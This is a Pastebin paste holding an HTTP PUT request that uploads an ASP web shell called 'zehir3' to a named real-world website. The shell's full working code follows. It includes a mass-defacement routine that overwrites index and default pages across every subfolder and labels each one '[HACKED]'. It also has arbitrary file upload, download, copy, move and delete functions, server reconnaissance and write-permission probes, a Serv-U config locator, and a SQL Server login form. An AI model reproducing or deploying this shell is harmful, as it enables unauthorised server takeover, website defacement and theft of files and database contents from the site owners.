API tools faq
paste
Advertisement
GuzManHax

Untitled

GuzManHax
Jun 6th, 2019
222
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 51.66 KB | None | 0 0
raw download clone embed print report
  1. PUT /byHmei7.txt HTTP/1.1
  2. Accept: */*
  3. Accept-Encoding: gzip, deflate
  4. User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
  5. Host: www.pasdechance.cz
  6. Content-Length: 52393
  7. Pragma: no-cache
  8. Connection: close
  9.  
  10. <%
  11. mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
  12. dosyaPath = mid(mpat,InStrRev(mpat,"\")+1)
  13. on error resume next
  14. Dim objFSO,popup
  15. Set objFSO = CreateObject ("Scripting.FileSystemObject")
  16. if Request("kuskapani")=1 then
  17. Response.End
  18. end if
  19.  
  20.  
  21. if Request("kuskapani")=2 then
  22. on error resume next
  23. path = Request("path")
  24. sFolder = Request("SubFolder")
  25. fName = Request("FileName")
  26. d1 = Request("dosya1")
  27. d2 = Request("dosya2")
  28. d3 = Request("dosya3")
  29. d4 = Request("dosya4")
  30. d5 = Request("dosya5")
  31. d6 = Request("dosya6")
  32. bg__ = Request.Form("selectColour")
  33. if bg__ = "0" then bg__ = "#ffffff"
  34. byMesaj = "<body bgColor='"&bg__&"'>" & Request("byMesaj") '& "<br><br><center><font color=gray size=2>Hmei7</font>"
  35.  
  36. sFolder = Replace(sFolder,"/","\")
  37.  
  38. if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
  39. Set f = objFSO.GetFolder(Path)
  40. Set fc = f.SubFolders
  41. h__ = 0
  42. f__ = 0
  43. ss__ = now
  44. For Each f1 In fc
  45. hedef_ = replace(f1.path,"/","\")
  46. if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
  47. hedef__ = left(hedef_,len(hedef_)-1)
  48. folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
  49. if d1<>"" then d1 = true
  50. if d2<>"" then d2 = true
  51. if d3<>"" then d3 = true
  52. if d4<>"" then d4 = true
  53. if d5<>"" then d5 = true
  54. if d6<>"" then d6 = true
  55. on error goto 0:on error resume next
  56. if fName<>"" then
  57. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
  58. MyFile.write byMesaj
  59. end if
  60. if d1 then
  61. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
  62. MyFile.write byMesaj
  63. end if
  64. if d2 then
  65. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.html", True)
  66. MyFile.write byMesaj
  67. end if
  68. if d3 then
  69. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
  70. MyFile.write byMesaj
  71. end if
  72. if d4 then
  73. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
  74. MyFile.write byMesaj
  75. end if
  76. if d5 then
  77. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.php", True)
  78. MyFile.write byMesaj
  79. end if
  80. if d6 then
  81. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.html", True)
  82. MyFile.write byMesaj
  83. end if
  84.  
  85. if err<>0 then
  86. response.Write folderName_ & " <font color=red>[FAILED!]</font><br>"
  87. f__ = f__ + 1
  88. else
  89. response.Write folderName_ & " <font color=blue>[HACKED]</font><br>"
  90. h__ = h__ + 1
  91. end if
  92. Next
  93. ss___ = now
  94. response.Write "<br><font color=white>by zehir!...</font><br><b>Keterangan : </b> mbuh : "&left(ss__-ss___,5)&"sn. ;)<br><font color=blue>Hacked</font> = "&h__&"<br><font color=red>Failed</font> = "&f__
  95. response.End
  96. end if
  97.  
  98. status = Request("status")
  99. path = Request("path")
  100. dPath = Request("dPath")
  101. arama = Request("txArama")
  102. dkayit = Request("dkayit")
  103. table = Request("table")
  104. del = Request("del")
  105. islem = Request("islem")
  106. strSQL = Request("strSQL")
  107. cf = Request("cf")
  108. pathfile = request("pathfile")
  109. if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
  110. if status="" then status=2
  111. popup = true
  112. '////////////////////////////////
  113. Function ReadBinaryFile(FileName)
  114. Const adTypeBinary = 1
  115. Dim BinaryStream
  116. Set BinaryStream = CreateObject("ADODB.Stream")
  117. BinaryStream.Type = adTypeBinary
  118. BinaryStream.Open
  119. BinaryStream.LoadFromFile FileName
  120. ReadBinaryFile = BinaryStream.Read
  121. End Function
  122. if status="-3" then
  123. Response.Buffer=True
  124. Set Fil = objFSO.GetFile(pathfile)
  125.  
  126. Response.contenttype="application/force-download"
  127. Response.AddHeader "Cache-control","private"
  128. Response.AddHeader "Content-Length", Fil.Size
  129. Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
  130.  
  131. Response.BinaryWrite readBinaryFile(Fil.path)
  132. Set f = Nothing: Set Fil = Nothing
  133. response.End()
  134. end if
  135. '//////////////////////////////////
  136. if status="-4" then popup=false
  137. if status="13" then popup=false
  138. if status="14" then popup=false
  139. if status="15" then popup=false
  140. if status="16" then popup=false
  141. if status="17" then popup=false
  142. if status="18" then popup=false
  143. if status="19" then popup=false
  144. if status="33" then popup=false
  145. if status="40" then popup=false
  146. if status="50" then popup=false
  147. byMsg = request.QueryString("byMsg")
  148. if byMsg<>"" then response.Write byMsg
  149. response.Write "<title>zehir3 --> powered by zehir</title>"
  150. if popup then
  151. %>
  152. <center>
  153. <a href="<%=dosyaPath%>?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info</a>
  154. <font color=yellow> | </font>
  155. <a href="<%=dosyaPath%>?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test</a>
  156. <font color=yellow> | </font>
  157. <a href="<%=dosyaPath%>?mevla=1&status=50&path=<%=path%>" onclick="SitelerTestte(this.href);return false;">Sites Test</a>
  158. <font color=yellow> | </font>
  159. <a href="<%=dosyaPath%>?mevla=1&status=14&path=<%=path%>" onclick="klasorIslemleri(this.href);return false;">Folder Action</a>
  160. <font color=yellow> | </font>
  161. <a href="<%=dosyaPath%>?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server</a>
  162. <font color=yellow> | </font>
  163. <a href="<%=dosyaPath%>?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY</a>
  164. <script language=javascript>
  165. function sistemBilgisi(yol){
  166. NewWindow(yol,"",600,240,"no");
  167. }
  168. function SitelerTestte(yol){
  169. NewWindow(yol,"",530,420,"no");
  170. }
  171. function klasorIslemleri(yol){
  172. NewWindow(yol,"",400,280,"no");
  173. }
  174. function sqlServer(yol){
  175. NewWindow(yol,"",300,50,"no");
  176. }
  177. function poweredby(yol){
  178. NewWindow(yol,"",300,50,"no");
  179. }
  180. function sistemTest(yol){
  181. NewWindow(yol,"",400,300,"no");
  182. }
  183. </script>
  184. <%
  185. end if
  186. '####################################
  187. Class clsUpload
  188. Private mbinData
  189. Private mlngChunkIndex
  190. Private mlngBytesReceived
  191. Private mstrDelimiter
  192. Private CR
  193. Private LF
  194. Private CRLF
  195. Private mobjFieldAry()
  196. Private mlngCount
  197.  
  198. Private Sub RequestData
  199. Dim llngLength
  200. mlngBytesReceived = Request.TotalBytes
  201. mbinData = Request.BinaryRead(mlngBytesReceived)
  202. End Sub
  203.  
  204. Private Sub ParseDelimiter()
  205. mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  206. End Sub
  207.  
  208. Private Sub ParseData()
  209. Dim llngStart
  210. Dim llngLength
  211. Dim llngEnd
  212. Dim lbinChunk
  213. llngStart = 1
  214. llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  215. While Not llngStart = 0
  216. llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  217. llngLength = llngEnd - llngStart
  218. lbinChunk = MidB(mbinData, llngStart, llngLength)
  219. Call ParseChunk(lbinChunk)
  220. llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  221. Wend
  222. End Sub
  223.  
  224. Private Sub ParseChunk(ByRef pbinChunk)
  225. Dim lstrName
  226. Dim lstrFileName
  227. Dim lstrContentType
  228. Dim lbinData
  229. Dim lstrDisposition
  230. Dim lstrValue
  231. lstrDisposition = ParseDisposition(pbinChunk)
  232. lstrName = ParseName(lstrDisposition)
  233. lstrFileName = ParseFileName(lstrDisposition)
  234. lstrContentType = ParseContentType(pbinChunk)
  235. If lstrContentType = "" Then
  236. lstrValue = CStrU(ParseBinaryData(pbinChunk))
  237. Else
  238. lbinData = ParseBinaryData(pbinChunk)
  239. End If
  240. Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  241. End Sub
  242.  
  243. Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  244. Dim lobjField
  245. ReDim Preserve mobjFieldAry(mlngCount)
  246. Set lobjField = New clsField
  247. lobjField.Name = pstrName
  248. lobjField.FilePath = pstrFileName
  249. lobjField.ContentType = pstrContentType
  250. If LenB(pbinData) = 0 Then
  251. lobjField.BinaryData = ChrB(0)
  252. lobjField.Value = pstrValue
  253. lobjField.Length = Len(pstrValue)
  254. Else
  255. lobjField.BinaryData = pbinData
  256. lobjField.Length = LenB(pbinData)
  257. lobjField.Value = ""
  258. End If
  259. Set mobjFieldAry(mlngCount) = lobjField
  260. mlngCount = mlngCount + 1
  261. End Sub
  262.  
  263. Private Function ParseBinaryData(ByRef pbinChunk)
  264. Dim llngStart
  265. llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  266. If llngStart = 0 Then Exit Function
  267. llngStart = llngStart + 4
  268. ParseBinaryData = MidB(pbinChunk, llngStart)
  269. End Function
  270.  
  271. Private Function ParseContentType(ByRef pbinChunk)
  272. Dim llngStart
  273. Dim llngEnd
  274. Dim llngLength
  275. llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  276. If llngStart = 0 Then Exit Function
  277. llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  278. If llngEnd = 0 Then Exit Function
  279. llngStart = llngStart + 15
  280. If llngStart >= llngEnd Then Exit Function
  281. llngLength = llngEnd - llngStart
  282. ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  283. End Function
  284.  
  285. Private Function ParseDisposition(ByRef pbinChunk)
  286. Dim llngStart
  287. Dim llngEnd
  288. Dim llngLength
  289. llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  290. If llngStart = 0 Then Exit Function
  291. llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  292. If llngEnd = 0 Then Exit Function
  293. llngStart = llngStart + 22
  294. If llngStart >= llngEnd Then Exit Function
  295. llngLength = llngEnd - llngStart
  296. ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  297. End Function
  298.  
  299. Private Function ParseName(ByRef pstrDisposition)
  300. Dim llngStart
  301. Dim llngEnd
  302. Dim llngLength
  303. llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  304. If llngStart = 0 Then Exit Function
  305. llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  306. If llngEnd = 0 Then Exit Function
  307. llngStart = llngStart + 6
  308. If llngStart >= llngEnd Then Exit Function
  309. llngLength = llngEnd - llngStart
  310. ParseName = Mid(pstrDisposition, llngStart, llngLength)
  311. End Function
  312. ' ------------------------------------------------------------------------------
  313. Private Function ParseFileName(ByRef pstrDisposition)
  314. Dim llngStart
  315. Dim llngEnd
  316. Dim llngLength
  317. llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  318. If llngStart = 0 Then Exit Function
  319. llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  320. If llngEnd = 0 Then Exit Function
  321. llngStart = llngStart + 10
  322. If llngStart >= llngEnd Then Exit Function
  323. llngLength = llngEnd - llngStart
  324. ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  325. End Function
  326.  
  327. Public Property Get Count()
  328. Count = mlngCount
  329. End Property
  330.  
  331. Public Default Property Get Fields(ByVal pstrName)
  332. Dim llngIndex
  333. If IsNumeric(pstrName) Then
  334. llngIndex = CLng(pstrName)
  335. If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  336. Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  337. Exit Property
  338. End If
  339. Set Fields = mobjFieldAry(pstrName)
  340. Else
  341. pstrName = LCase(pstrname)
  342. For llngIndex = 0 To mlngCount - 1
  343. If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  344. Set Fields = mobjFieldAry(llngIndex)
  345. Exit Property
  346. End If
  347. Next
  348. End If
  349. Set Fields = New clsField
  350. End Property
  351.  
  352. Private Sub Class_Terminate()
  353. Dim llngIndex
  354. For llngIndex = 0 To mlngCount - 1
  355. Set mobjFieldAry(llngIndex) = Nothing
  356.  
  357. Next
  358. ReDim mobjFieldAry(-1)
  359. End Sub
  360.  
  361. Private Sub Class_Initialize()
  362. ReDim mobjFieldAry(-1)
  363. CR = ChrB(Asc(vbCr))
  364. LF = ChrB(Asc(vbLf))
  365. CRLF = CR & LF
  366. mlngCount = 0
  367. Call RequestData
  368. Call ParseDelimiter()
  369. Call ParseData
  370. End Sub
  371.  
  372. Private Function CStrU(ByRef pstrANSI)
  373. Dim llngLength
  374. Dim llngIndex
  375. llngLength = LenB(pstrANSI)
  376. For llngIndex = 1 To llngLength
  377. CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  378. Next
  379. End Function
  380.  
  381. Private Function CStrB(ByRef pstrUnicode)
  382. Dim llngLength
  383. Dim llngIndex
  384. llngLength = Len(pstrUnicode)
  385. For llngIndex = 1 To llngLength
  386. CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  387. Next
  388. End Function
  389. End Class
  390. '####################################
  391. Session("n1") = "" '"by Ejder"
  392. Class clsField
  393. Public Name
  394. Private mstrPath
  395. Public FileDir
  396. Public FileExt
  397. Public FileName
  398. Public ContentType
  399. Public Value
  400. Public BinaryData
  401. Public Length
  402. Private mstrText
  403.  
  404. Public Property Get BLOB()
  405. BLOB = BinaryData
  406. End Property
  407.  
  408. Public Function BinaryAsText()
  409. Dim lbinBytes
  410. Dim lobjRs
  411. If Length = 0 Then Exit Function
  412. If LenB(BinaryData) = 0 Then Exit Function
  413.  
  414. If Not Len(mstrText) = 0 Then
  415. BinaryAsText = mstrText
  416. Exit Function
  417. End If
  418. lbinBytes = ASCII2Bytes(BinaryData)
  419. mstrText = Bytes2Unicode(lbinBytes)
  420. BinaryAsText = mstrText
  421. End Function
  422.  
  423. Public Sub SaveAs(ByRef pstrFileName)
  424. Const adTypeBinary=1
  425. Const adSaveCreateOverWrite=2
  426. Dim lobjStream
  427. Dim lobjRs
  428. Dim lbinBytes
  429. If Length = 0 Then Exit Sub
  430. If LenB(BinaryData) = 0 Then Exit Sub
  431. Set lobjStream = Server.CreateObject("ADODB.Stream")
  432. lobjStream.Type = adTypeBinary
  433. Call lobjStream.Open()
  434. lbinBytes = ASCII2Bytes(BinaryData)
  435. Call lobjStream.Write(lbinBytes)
  436.  
  437. On Error Resume Next
  438.  
  439. Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  440.  
  441. 'if err<>0 then response.Write "<br>"&err.Description
  442.  
  443. Call lobjStream.Close()
  444. Set lobjStream = Nothing
  445. End Sub
  446.  
  447. Public Property Let FilePath(ByRef pstrPath)
  448. mstrPath = pstrPath
  449. If Not InStrRev(pstrPath, ".") = 0 Then
  450. FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  451. FileExt = UCase(FileExt)
  452. End If
  453. If Not InStrRev(pstrPath, "\") = 0 Then
  454. FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  455. End If
  456. If Not InStrRev(pstrPath, "\") = 0 Then
  457. FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  458. End If
  459. End Property
  460.  
  461. Public Property Get FilePath()
  462. FilePath = mstrPath
  463. End Property
  464.  
  465. private Function ASCII2Bytes(ByRef pbinBinaryData)
  466. Const adLongVarBinary=205
  467. Dim lobjRs
  468. Dim llngLength
  469. Dim lbinBuffer
  470. llngLength = LenB(pbinBinaryData)
  471. Set lobjRs = Server.CreateObject("ADODB.Recordset")
  472. Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  473. Call lobjRs.Open()
  474. Call lobjRs.AddNew()
  475. Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  476. Call lobjRs.Update()
  477. lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  478. Call lobjRs.Close()
  479. Set lobjRs = Nothing
  480. ASCII2Bytes = lbinBuffer
  481. End Function
  482.  
  483. Private Function Bytes2Unicode(ByRef pbinBytes)
  484. Dim lobjRs
  485. Dim llngLength
  486. Dim lstrBuffer
  487. llngLength = LenB(pbinBytes)
  488. Set lobjRs = Server.CreateObject("ADODB.Recordset")
  489. Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  490. Call lobjRs.Open()
  491. Call lobjRs.AddNew()
  492. Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  493. Call lobjRs.Update()
  494. lstrBuffer = lobjRs.Fields("BinaryData").Value
  495. Call lobjRs.Close()
  496. Set lobjRs = Nothing
  497. Bytes2Unicode = lstrBuffer
  498. End Function
  499. End Class
  500. Session("n2") = "" '"Ejder"
  501. '####################################
  502. function addslash(path)
  503. if right(path,1)="\" then addslash=path else addslash=path & "\"
  504. end function
  505.  
  506. sub Upload()
  507. dim objUpload,f,max,i,name,path,size,success
  508.  
  509. set objUpload=New clsUpload
  510.  
  511. targetPath=objUpload.Fields("folder").Value
  512. max=objUpload.Fields("max").Value
  513.  
  514. for i=1 to max
  515. name=objUpload.Fields("file" & i).FileName
  516. size=objUpload.Fields("file" & i).Length
  517. if (name<>"") and (size>0) then
  518. gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  519. path=addslash(targetPath) & name
  520. objUpload.Fields("file" & i).SaveAs path
  521.  
  522. if objFSO.FileExists(path) then
  523. on error resume next
  524. set f=objFSO.GetFile(path)
  525. if IsObject(f) then
  526. if f.Size=size then success=true else success=false
  527. end if
  528. set f=nothing
  529. end if
  530. if success then gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
  531. end if
  532. next
  533. response.Write gMsg
  534. set objUpload=nothing
  535.  
  536. end sub
  537.  
  538. if status="-4" then
  539. Upload()
  540. ' hataKontrol
  541. popup=false
  542. end if
  543. '////////////////////////////////
  544. sub hataKontrol
  545. if err<>0 then
  546. Response.Write "<font color=red size=2>Hata : "&err.Description&"</font>"
  547. end if
  548. end sub
  549.  
  550. sub araBul(path_,ara_)
  551. on error resume next
  552. If Len(path_) > 0 Then
  553. cur = path_&"\"
  554. If cur = "\\" Then cur = ""
  555. parent = ""
  556. If InStrRev(cur,"\") > 0 Then
  557. parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
  558. End If
  559. Else
  560. cur = ""
  561. End If
  562.  
  563. Set f = objFSO.GetFolder(cur)
  564.  
  565. Set fc = f.Files
  566. For Each f1 In fc
  567. if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
  568. downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
  569. if lcase(ara_)="mdb" then
  570. Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  571. else
  572. Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  573. end if
  574. end if
  575. Next
  576.  
  577. Set fs = f.SubFolders
  578. For Each f1 In fs
  579. araBul f1.path,ara_
  580. Next
  581. Set f = Nothing
  582. Set fc = Nothing
  583. Set fs = Nothing
  584. end sub
  585.  
  586. sub sistemTest
  587. response.Write "<table width='100%' align=center cellpadding=0 cellspacing=0 border=1>"
  588. response.Write "<tr bgcolor=#ffffc0><td width='30%' align=center><font color=navy><b>Lokasi</td><td width='70%' align=center><font color=navy><b>Keterangan</td></tr>"
  589.  
  590. servu_Test
  591. WriteTestOnDriver
  592. WriteTestOnLocalPath
  593. LocalPathParentFolder
  594. LocalPathPParentFolder
  595.  
  596. response.Write "</table>"
  597. end sub
  598.  
  599. sub servu_Test
  600. dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
  601. for each drive_ in objFSO.Drives
  602. if drive_.Drivetype=2 or drive_.Drivetype=3 then
  603. for each d_ in dosya_
  604. d_ = drive_.DriveLetter&":\"&d_
  605. if objFSO.FileExists(d_) then
  606. response.Write "<tr><td><b>Serv-U ini file : </td><td><font color=yellow>"&d_&"</td></tr>"
  607. end if
  608. next
  609. end if
  610. next
  611. end sub
  612.  
  613. function yaziyomu(yol)
  614. on error goto 0:on error resume next
  615. dim sonuc__
  616. Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  617. MyFile.write "byzehir"
  618. set MyFile = Nothing
  619. if err<>0 then
  620. sonuc__="<font color=red>This file is very dangerous !!, delete me plz</font>"
  621. else
  622. sonuc__="<font color=yellow>Yazma Hakký Var! (bahasane aneh) </font>"
  623. on error goto 0: on error resume next
  624. objFSO.DeleteFile yol & "\test.zehir",true
  625. if err<>0 then
  626. sonuc__=sonuc__&"<br><font color=red>Silme Hakký Yok!</font>"
  627. else
  628. sonuc__=sonuc__&"<br><font color=yellow>Silme Hakký Var!</font>"
  629. end if
  630. end if
  631. yaziyomu = sonuc__
  632. end function
  633.  
  634. function yaziyomu2(yol)
  635. on error goto 0:on error resume next
  636. Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  637. MyFile.write "byzehir"
  638. set MyFile = Nothing
  639. if err<>0 then
  640. yaziyomu2 = false
  641. else
  642. objFSO.DeleteFile yol & "\test.zehir"
  643. yaziyomu2 = true
  644. end if
  645. end function
  646.  
  647. sub WriteTestOnDriver
  648. for each drive_ in objFSO.Drives
  649. if drive_.Drivetype=2 or drive_.Drivetype=3 then
  650. if not yaziyomu2(drive_.DriveLetter&":\") then
  651. Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=red>tidak bisa diciptakan file, tapi mungkin folder didalamnya bisa : ["&err.Description&"]</td></tr>"
  652. else
  653. Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=yellow>Folder ini dapat diciptakan file</td></tr>"
  654. end if
  655. end if
  656. next
  657. end sub
  658.  
  659. sub WriteTestOnLocalPath
  660. on error goto 0
  661. on error resume next
  662. if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
  663. Response.Write "<tr><td><b>Local Path </td><td><font color=red>tidak bisa diciptakan file, tapi mungkin folder didalamnya bisa : ["&err.Description&"]</td></tr>"
  664. else
  665. Response.Write "<tr><td><b>Local Path </td><td><font color=yellow>Folder ini dapat diciptakan file</td></tr>"
  666. end if
  667. end sub
  668.  
  669. sub LocalPathParentFolder
  670. on error goto 0
  671. on error resume next
  672. hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  673. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  674. parhed_ = left(hed_,InStrRev(hed_,"\"))
  675.  
  676. Set f = objFSO.GetFolder(parhed_)
  677. Set fc = f.SubFolders
  678.  
  679. int_fol=0
  680. int_fil=0
  681. For Each f1 In fc
  682. int_fol=int_fol+1
  683. Next
  684.  
  685. Set fc = f.files
  686. For Each f1 In fc
  687. int_fil=int_fil+1
  688. Next
  689.  
  690. if err<>0 then
  691. Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  692. else
  693. Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  694. end if
  695. end sub
  696.  
  697. sub LocalPathPParentFolder
  698. on error goto 0
  699. on error resume next
  700. hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  701. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  702. hed_ = left(hed_,InStrRev(hed_,"\"))
  703. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  704. parhed_ = left(hed_,InStrRev(hed_,"\"))
  705.  
  706. Set f = objFSO.GetFolder(parhed_)
  707. Set fc = f.SubFolders
  708. int_fol=0
  709. int_fil=0
  710. For Each f1 In fc
  711. int_fol=int_fol+1
  712. Next
  713.  
  714. Set fc = f.files
  715. For Each f1 In fc
  716. int_fil=int_fil+1
  717. Next
  718.  
  719. if err<>0 then
  720. if err=451 then
  721. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Data Üst Klasor Yok :)</td></tr>"
  722. else
  723. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  724. end if
  725. else
  726. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  727. end if
  728. end sub
  729.  
  730. SELECT CASE status
  731. CASE 13 'Sistem Bilgisi
  732. Response.Write "<table width=100% cellpadding=0 cellspacing=0><tr><td colspan=2 align=center><font color=yellow face='courier new'><b><font style='FONT-WEIGHT:normal' color=red face=wingdings>:</font> Informasi target<font color=red face=wingdings style='FONT-WEIGHT:normal'>:</font></td></tr>"
  733. Response.Write "<tr><td><b><font color=red>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
  734. Response.Write "<tr><td><b><font color=red>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
  735. Response.Write "<tr><td><b><font color=red>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
  736. Response.Write "<tr><td><b><font color=red>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
  737. Response.Write "<tr><td><b><font color=red>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
  738. Response.Write "<tr><td><b><font color=red>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
  739. Response.Write "<tr><td><b><font color=red>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
  740. Response.Write "<tr><td><b><font color=red>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
  741. Response.Write "<tr><td><b><font color=red>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
  742. Response.Write "</table>"
  743. popup = false
  744. CASE 14 'Upload and Search
  745. aramaUpload
  746. popup = false
  747. hataKontrol
  748. CASE 15 'Ms. SQL Server
  749. Response.Write "<form method=get action='"&DosyPath&"' target='_opener' id=form1 name=form1>"
  750. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>Tentukan koneksi SQL Server</td></tr><tr><td align=center>"
  751. Response.Write "<input type=hidden value='7' name=status><input type=hidden value='"&time&"' name=Time>"
  752. Response.Write "<input style='width:250; height:21' value='Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=Northwind' name=path><br>"
  753. response.Write "<input type=submit value='Explorasi SQL Server !!' style='height:23;width:170' id=submit1 name=submit1>"
  754. Response.Write "</td></tr></table>"
  755. response.Write "</form>"
  756.  
  757. popup = false
  758. hataKontrol
  759. CASE 16 'file Copy window
  760. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  761. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  762. Response.Write "<input type=hidden value='17' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  763. Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  764. response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  765. Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  766. response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  767. response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  768. response.Write "</table>"
  769. response.Write "</form>"
  770.  
  771. popup = false
  772. hataKontrol
  773. CASE 17 'file Copy
  774. isl = ""
  775. if islem="kopyala" then
  776. objFSO.CopyFile path,cf
  777. isl="kopyalandý.."
  778. elseif islem="tasi" then
  779. objFSO.MoveFile path,cf
  780. isl="taþýndý.."
  781. end if
  782. response.Write "Dosya "&isl
  783. response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
